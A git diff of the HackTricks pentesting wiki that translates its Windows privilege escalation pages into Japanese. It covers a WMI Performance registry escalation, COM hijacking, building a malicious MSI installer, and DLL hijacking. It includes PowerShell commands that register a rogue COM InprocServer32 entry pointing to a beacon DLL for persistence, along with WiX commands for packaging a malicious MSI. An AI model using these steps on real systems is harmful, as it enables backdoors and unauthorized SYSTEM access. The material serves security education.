![:sunglasses:](https://github.githubassets.com/images/icons/emoji/unicode/1f60e.png) -I expected to get arbitary code execution as `NETWORK SERVICE` in the context of the `RpcEptMapper` service at most but, it looks like I got a much better result than anticipated. I actually got arbitrary code execution in the context of the `WMI` service itself, which runs as `LOCAL SYSTEM`. How amazing is that?! ![:sunglasses:](https://github.githubassets.com/images/icons/emoji/unicode/1f60e.png) - -> **Note:** if I had got arbirary code execution as `NETWORK SERVICE`, I would have been just a token away from the `LOCAL SYSTEM` account thanks to the trick that was demonstrated by James Forshaw a few months ago in this blog post: [Sharing a Logon Session a Little Too Much](https://www.tiraniddo.dev/2020/04/sharing-logon-session-little-too-much.html). - -I also tried to get each WMI class separately and I observed the exact same result. +> **注意:** もし`NETWORK SERVICE`として任意のコードを実行できた場合、数ヶ月前にJames Forshawがこのブログ記事でデモンストレーションしたトリックによって、`LOCAL SYSTEM`アカウントまであと一歩のところでした: [Sharing a Logon Session a Little Too Much](https://www.tiraniddo.dev/2020/04/sharing-logon-session-little-too-much.html)。 +また、各WMIクラスを個別に試してみましたが、同じ結果が得られました。 ``` Get-WmiObject Win32_Perf Get-WmiObject Win32_PerfRawData Get-WmiObject Win32_PerfFormattedData ``` +## 結論 -## Conclusion +なぜこの脆弱性が長い間見逃されていたのかはわかりません。一つの説明としては、他のツールはおそらくレジストリでの完全な書き込みアクセスを探していたのに対し、この場合は`AppendData/AddSubdirectory`だけで十分だったからかもしれません。「誤構成」自体については、レジストリキーが特定の目的でこのように設定されていたと思われますが、具体的なシナリオでは、ユーザーがサービスの構成を変更する権限を持つことは考えられません。 -I don’t know how this vulnerability has gone unnoticed for so long. One explanation is that other tools probably looked for full write access in the registry, whereas `AppendData/AddSubdirectory` was actually enough in this case. Regarding the “misconfiguration” itself, I would assume that the registry key was set this way for a specific purpose, although I can’t think of a concrete scenario in which users would have any kind of permissions to modify a service’s configuration. - -I decided to write about this vulnerability publicly for two reasons. The first one is that I actually made it public - without initially realizing it - the day I updated my PrivescCheck script with the `GetModfiableRegistryPath` function, which was several months ago. The second one is that the impact is low. It requires local access and affects only old versions of Windows that are no longer supported (unless you have purchased the Extended Support…). At this point, if you are still using Windows 7 / Server 2008 R2 without isolating these machines properly in the network first, then preventing an attacker from getting SYSTEM privileges is probably the least of your worries. - -Apart from the anecdotal side of this privilege escalation vulnerability, I think that this “Perfomance” registry setting opens up really interesting opportunities for post exploitation, lateral movement and AV/EDR evasion. I already have a few particular scenarios in mind but I haven’t tested any of them yet. To be continued?… +この特権昇格の脆弱性について公開することを決めた理由は2つあります。最初の理由は、数ヶ月前に`GetModfiableRegistryPath`関数を使用してPrivescCheckスクリプトを更新した日に、実際に公開したからです(最初は気づかなかった)。2つ目の理由は、その影響が低いことです。これにはローカルアクセスが必要であり、サポートが終了した古いバージョンのWindowsにのみ影響を与えます(拡張サポートを購入している場合を除く)。この時点で、Windows 7 / Server 2008 R2をまだ適切にネットワーク内で分離せずに使用している場合、システム特権を取得する攻撃者を防ぐことはおそらく最も心配すべきことではないでしょう。 +この特権昇格の脆弱性の逸話的な側面を除いて、この「Perfomance」レジストリ設定は、ポストエクスプロイト、横方向移動、AV/EDR回避に関して非常に興味深い機会を提供していると思います。すでにいくつかの具体的なシナリオを考えていますが、まだいずれもテストしていません。続く...。
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? HackTricksで**会社を宣伝**したいですか?または、**PEASSの最新バージョンやHackTricksのPDFをダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう、私たちの独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクション -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**を**フォロー**してください** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
- - diff --git a/windows-hardening/windows-local-privilege-escalation/com-hijacking.md b/windows-hardening/windows-local-privilege-escalation/com-hijacking.md index 147e3bfdc..bb5a148ba 100644 --- a/windows-hardening/windows-local-privilege-escalation/com-hijacking.md +++ b/windows-hardening/windows-local-privilege-escalation/com-hijacking.md @@ -1,74 +1,71 @@ -# COM Hijacking +# COMハイジャッキング
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
-### Searching not existent COM components +### 存在しないCOMコンポーネントの検索 -As the values of HKCU can be modified by the users **COM Hijacking** could be used as a **persistent mechanisms**. Using `procmon` it's easy to find searched COM registries that doesn't exist that an attacker could create to persist. Filters: +HKCUの値はユーザーによって変更される可能性があるため、**COMハイジャッキング**は**永続的なメカニズム**として使用できます。 `procmon`を使用すると、存在しないCOMレジストリを見つけることが容易で、攻撃者が永続化するために作成できるものです。フィルター: -* **RegOpenKey** operations. -* where the _Result_ is **NAME NOT FOUND**. -* and the _Path_ ends with **InprocServer32**. - -Once you have decided which not existent COM to impersonate execute the following commands. _Be careful if you decide to impersonate a COM that is loaded every few seconds as that could be overkill._ +* **RegOpenKey**操作。 +* _Result_が**NAME NOT FOUND**である。 +* _Path_が**InprocServer32**で終わる。 +存在しないCOMをなりすますことを決めたら、次のコマンドを実行します。_数秒ごとにロードされるCOMをなりすます場合は注意してください。それは過剰な負荷になる可能性があります。_ ```bash New-Item -Path "HKCU:Software\Classes\CLSID" -Name "{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" New-Item -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" -Name "InprocServer32" -Value "C:\beacon.dll" New-ItemProperty -Path "HKCU:Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32" -Name "ThreadingModel" -Value "Both" ``` - ### Hijackable Task Scheduler COM components -Windows Tasks actually use Custom Triggers to call COM objects. And because they're executed via the Task Scheduler, it's easier to predict when they're going to be triggered. +Windowsのタスクは、実際にはカスタムトリガーを使用してCOMオブジェクトを呼び出しています。そして、タスクスケジューラを介して実行されるため、トリガが発生するタイミングを予測することが容易です。 -
# Show COM CLSIDs
+
# COM CLSIDを表示する
 $Tasks = Get-ScheduledTask
 
 foreach ($Task in $Tasks)
 {
-  if ($Task.Actions.ClassId -ne $null)
-  {
-    if ($Task.Triggers.Enabled -eq $true)
-    {
-      $usersSid = "S-1-5-32-545"
-      $usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }
+if ($Task.Actions.ClassId -ne $null)
+{
+if ($Task.Triggers.Enabled -eq $true)
+{
+$usersSid = "S-1-5-32-545"
+$usersGroup = Get-LocalGroup | Where-Object { $_.SID -eq $usersSid }
 
-      if ($Task.Principal.GroupId -eq $usersGroup)
-      {
-        Write-Host "Task Name: " $Task.TaskName
-        Write-Host "Task Path: " $Task.TaskPath
-        Write-Host "CLSID: " $Task.Actions.ClassId
-        Write-Host
-      }
-    }
-  }
+if ($Task.Principal.GroupId -eq $usersGroup)
+{
+Write-Host "タスク名: " $Task.TaskName
+Write-Host "タスクパス: " $Task.TaskPath
+Write-Host "CLSID: " $Task.Actions.ClassId
+Write-Host
+}
+}
+}
 }
 
-# Sample Output:
-# Task Name:  Example
-# Task Path:  \Microsoft\Windows\Example\
+# サンプル出力:
+# タスク名:  例
+# タスクパス:  \Microsoft\Windows\Example\
 # CLSID:  {1936ED8A-BD93-3213-E325-F38D112938E1}
-# [more like the previous one...]
+# [前のものと同様の出力...]
-Checking the output you can select one that is going to be executed **every time a user logs in** for example. - -Now searching for the CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** in **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** and in HKLM and HKCU, you usually will find that the value doesn't exist in HKCU. +出力をチェックして、例えば**ユーザがログインするたびに**実行されるタスクを選択できます。 +次に、CLSID **{1936ED8A-BD93-3213-E325-F38D112938EF}** を **HKEY\_**_**CLASSES\_**_**ROOT\CLSID** および HKLM および HKCU で検索すると、通常、HKCU に値が存在しないことがわかります。 ```bash # Exists in HKCR\CLSID\ Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF}" @@ -76,7 +73,7 @@ Get-ChildItem -Path "Registry::HKCR\CLSID\{1936ED8A-BD93-3213-E325-F38D112938EF} Name Property ---- -------- InprocServer32 (default) : C:\Windows\system32\some.dll - ThreadingModel : Both +ThreadingModel : Both # Exists in HKLM Get-Item -Path "HKLM:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" | ft -AutoSize @@ -89,21 +86,4 @@ Name Property PS C:\> Get-Item -Path "HKCU:Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}" Get-Item : Cannot find path 'HKCU:\Software\Classes\CLSID\{01575CFE-9A55-4003-A5E1-F38D1EBDCBE1}' because it does not exist. ``` - -Then, you can just create the HKCU entry and everytime the user logs in, your backdoor will be fired. - -
- -☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 - -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! - -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) - -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) - -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** - -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. - -
+次に、HKCUエントリを作成するだけで、ユーザーがログインするたびにバックドアが起動します。 diff --git a/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md b/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md index cc6497dda..7f2b7ec93 100644 --- a/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md +++ b/windows-hardening/windows-local-privilege-escalation/create-msi-with-wix.md @@ -1,27 +1,24 @@ - -
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)にPRを提出してください。**
-**Tutorial copied from** [**https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root**](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root)\ -In order to create the msi we will use [wixtools](http://wixtoolset.org) , you can use other msi builders but they didn’t work for me.\ -Check [this page](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with) for some wix msi usage examples.\ -We will create an msi that executes our lnk file : - +**チュートリアルはここからコピーしました** [**https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root**](https://0xrick.github.io/hack-the-box/ethereal/#Creating-Malicious-msi-and-getting-root)\ +msiを作成するために、[wixtools](http://wixtoolset.org)を使用します。他のmsiビルダーを使用することもできますが、私にはうまく動作しませんでした。\ +wix msiの使用例については、[このページ](https://www.codeproject.com/Tips/105638/A-quick-introduction-Create-an-MSI-installer-with)を参照してください。\ +lnkファイルを実行するmsiを作成します: ```markup @@ -53,21 +50,16 @@ fail_here ``` - -We will use `candle.exe` from wixtools to create a wixobject from `msi.xml` - +`candle.exe`を使用して、`msi.xml`からwixobjectを作成します。 ```markup candle.exe -out C:\tem\wix C:\tmp\Ethereal\msi.xml ``` - ![](https://0xrick.github.io/images/hackthebox/ethereal/65.png) -Then we will use `light.exe` to create the msi file from the wixobject: - +次に、`light.exe`を使用してwixobjectからmsiファイルを作成します。 ```markup light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix ``` - ![](https://0xrick.github.io/images/hackthebox/ethereal/66.png) @@ -75,16 +67,14 @@ light.exe -out C:\tm\Ethereal\rick.msi C:\tmp\wix ☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -- Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! +- **サイバーセキュリティ企業で働いていますか?** **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! -- Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) +- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見しましょう。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 -- Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) +- [**公式のPEASS&HackTricksのグッズ**](https://peass.creator-spring.com)を手に入れましょう。 -- **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** +- [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**をフォロー**してください。 -- **Share your hacking tricks by submitting PRs to the [hacktricks repo](https://github.com/carlospolop/hacktricks) and [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**. +- **ハッキングのトリックを共有するには、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。 - - diff --git a/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md b/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md index 2e3aa18d3..f68df9d20 100644 --- a/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md +++ b/windows-hardening/windows-local-privilege-escalation/dll-hijacking.md @@ -1,185 +1,185 @@ -# Dll Hijacking +# Dllハイジャッキング
☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥 -* Do you work in a **cybersecurity company**? Do you want to see your **company advertised in HackTricks**? or do you want to have access to the **latest version of the PEASS or download HackTricks in PDF**? Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)! -* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family) -* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com) -* **Join the** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.** -* **Share your hacking tricks by submitting PRs to the** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **and** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud). +* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**最新バージョンのPEASSにアクセスしたり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください! +* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を見つけてください。独占的な[**NFT**](https://opensea.io/collection/the-peass-family)のコレクションです。 +* [**公式のPEASS&HackTricksのスワッグ**](https://peass.creator-spring.com)を手に入れましょう。 +* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**telegramグループ**](https://t.me/peass)に**参加**するか、**Twitter**で**フォロー**してください[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**。** +* **ハッキングのトリックを共有するには、PRを** [**hacktricks repo**](https://github.com/carlospolop/hacktricks) **と** [**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **に提出してください。**
-If you are interested in **hacking career** and hack the unhackable - **we are hiring!** (_fluent polish written and spoken required_). +もし、**ハッキングのキャリア**に興味があり、**ハッキングできないものをハックしたい**場合は、**採用中です**(流暢なポーランド語の読み書きが必要です)。 {% embed url="https://www.stmcyber.com/careers" %} -## Definition +## 定義 -First of all, let’s get the definition out of the way. DLL hijacking is, in the broadest sense, **tricking a legitimate/trusted application into loading an arbitrary DLL**. Terms such as _DLL Search Order Hijacking_, _DLL Load Order Hijacking_, _DLL Spoofing_, _DLL Injection_ and _DLL Side-Loading_ are often -mistakenly- used to say the same. +まず、定義を確認しましょう。DLLハイジャッキングは、最も広義には、**正規/信頼されたアプリケーションを任意のDLLを読み込むように騙す**ことです。_DLL Search Order Hijacking_、_DLL Load Order Hijacking_、_DLL Spoofing_、_DLL Injection_、_DLL Side-Loading_などの用語は、しばしば間違って同じ意味で使用されます。 -Dll hijacking can be used to **execute** code, obtain **persistence** and **escalate privileges**. From those 3 the **least probable** to find is **privilege escalation** by far. However, as this is part of the privilege escalation section, I will focus on this option. Also, note that independently of the goal, a dll hijacking is perform the in the same way. +Dllハイジャッキングは、**コードの実行**、**永続性の確保**、**特権の昇格**に使用することができます。この3つのうち、**特権の昇格**は非常に少ないです。ただし、これは特権の昇格セクションの一部であるため、このオプションに焦点を当てます。また、目標に関係なく、dllハイジャッキングは同じ方法で実行されます。 -### Types +### タイプ -There is a **variety of approaches** to choose from, with success depending on how the application is configured to load its required DLLs. Possible approaches include: +アプリケーションが必要なDLLをロードする方法に応じて、さまざまなアプローチがあります。成功は、アプリケーションがDLLをロードする方法によって異なります。可能なアプローチには次のものがあります。 -1. **DLL replacement**: replace a legitimate DLL with an evil DLL. This can be combined with _DLL Proxying_ \[[2](https://kevinalmansa.github.io/application%20security/DLL-Proxying/)], which ensures all functionality of the original DLL remains intact. -2. **DLL search order hijacking**: DLLs specified by an application without a path are searched for in fixed locations in a specific order \[[3](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order)]. Hijacking the search order takes place by putting the evil DLL in a location that is searched in before the actual DLL. This sometimes includes the working directory of the target application. -3. **Phantom DLL hijacking**: drop an evil DLL in place of a missing/non-existing DLL that a legitimate application tries to load \[[4](http://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/)]. -4. **DLL redirection**: change the location in which the DLL is searched for, e.g. by editing the `%PATH%` environment variable, or `.exe.manifest` / `.exe.local` files to include the folder containing the evil DLL \[[5](https://docs.microsoft.com/en-gb/windows/win32/sbscs/application-manifests), [6](https://docs.microsoft.com/en-gb/windows/win32/dlls/dynamic-link-library-redirection)] . -5. **WinSxS DLL replacement**: replace the legitimate DLL with the evil DLL in the relevant WinSxS folder of the targeted DLL. Often referred to as DLL side-loading \[[7](https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf)]. -6. **Relative path DLL Hijacking:** copy (and optionally rename) the legitimate application to a user-writeable folder, alongside the evil DLL. In the way this is used, it has similarities with (Signed) Binary Proxy Execution \[[8](https://attack.mitre.org/techniques/T1218/)]. A variation of this is (somewhat oxymoronically called) ‘_bring your own LOLbin_’ \[[9](https://www.microsoft.com/security/blog/2019/09/26/bring-your-own-lolbin-multi-stage-fileless-nodersok-campaign-delivers-rare-node-js-based-malware/)] in which the legitimate application is brought with the evil DLL (rather than copied from the legitimate location on the victim’s machine). +1. **DLLの置き換え**: 正規のDLLを悪意のあるDLLで置き換えます。これは、元のDLLのすべての機能が維持されるようにするために、_DLL Proxying_ \[[2](https://kevinalmansa.github.io/application%20security/DLL-Proxying/)]と組み合わせることができます。 +2. **DLL検索順序のハイジャック**: パスのないアプリケーションが指定したDLLは、特定の順序で固定された場所で検索されます \[[3](https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order)]。ハイジャックは、悪意のあるDLLを実際のDLLよりも先に検索される場所に配置することで行われます。これには、対象アプリケーションの作業ディレクトリも含まれる場合があります。 +3. **Phantom DLLハイジャック**: 正規のアプリケーションが読み込もうとする欠落/存在しないDLLの代わりに悪意のあるDLLを配置します \[[4](http://www.hexacorn.com/blog/2013/12/08/beyond-good-ol-run-key-part-5/)]。 +4. **DLLリダイレクト**: DLLの検索場所を変更します。たとえば、`%PATH%`環境変数を編集するか、`.exe.manifest` / `.exe.local`ファイルを編集して、悪意のあるDLLを含むフォルダを追加します \[[5](https://docs.microsoft.com/en-gb/windows/win32/sbscs/application-manifests), [6](https://docs.microsoft.com/en-gb/windows/win32/dlls/dynamic-link-library-redirection)]。 +5. **WinSxS DLLの置き換え**: 対象のDLLの関連するWinSxSフォルダに正規のDLLを悪意のあるDLLで置き換えます。DLLサイドローディングとも呼ばれることがよくあります \[[7](https://www.fireeye.com/content/dam/fireeye-www/global/en/current-threats/pdfs/rpt-dll-sideloading.pdf)]。 +6. **相対パスDLLハイジャック**: 正規のアプリケーションをユーザーが書き込み可能なフォルダにコピー(オプションで名前を変更)し、悪意のあるDLLと一緒に配置します。使用方法によっては、(署名された)バイナリプロキシ実行 \[[8](https://attack.mitre.org/techniques/T1218/)]と類似点があります。これのバリエーションは、(ややオキシモロン的に)「_bring your own LOLbin_」 \[[9](https://www.microsoft.com/security/blog/2019/09/26/bring-your-own-lolbin-multi-stage-fileless-nodersok-campaign-delivers-rare-node-js-based-malware/)]と呼ばれ、正規のアプリケーションが悪意のあるDLLと一緒に提供されます(被害者のマシン上の正規の場所からコピーされるのではなく)。 -## Finding missing Dlls +## 欠落しているDLLの検索 -The most common way to find missing Dlls inside a system is running [procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon) from sysinternals, **setting** the **following 2 filters**: +システム内の欠落しているDLLを見つける最も一般的な方法は、[procmon](https://docs.microsoft.com/en-us/sysinternals/downloads/procmon)をsysinternalsから実行し、次の2つのフィルタを**設定**することです。 ![](<../../.gitbook/assets/image (311).png>) ![](<../../.gitbook/assets/image (313).png>) -and just show the **File System Activity**: +そして、**ファイルシステムのアクティビティ**を表示します。 ![](<../../.gitbook/assets/image (314).png>) -If you are looking for **missing dlls in general** you **leave** this running for some **seconds**.\ -If you are looking for a **missing dll inside an specific executable** you should set **another filter like "Process Name" "contains" "\", execute it, and stop capturing events**. +**一般的な欠落しているdllを探している**場合は、これを数秒間実行しておきます。\ +**特定の実行可能ファイル内の欠落しているdllを探している**場合は、**「プロセス名」が「\」を含む**ような別のフィルタを設定し、実行してイベントのキャプチャを停止します。 +## ミッシングDLLの悪用 -## Exploiting Missing Dlls +特権をエスカレーションするために、私たちが最も良いチャンスを持っているのは、特権プロセスが**検索される場所**で**ロードしようとするDLLを書く**ことができることです。したがって、**オリジナルのDLL**よりも前に検索される**フォルダ**にDLLを**書き込む**ことができます(奇妙なケース)、またはDLLがどのフォルダにも存在しない**フォルダ**にDLLが検索されるように**書き込む**ことができます。 -In order to escalate privileges, the best chance we have is to be able to **write a dll 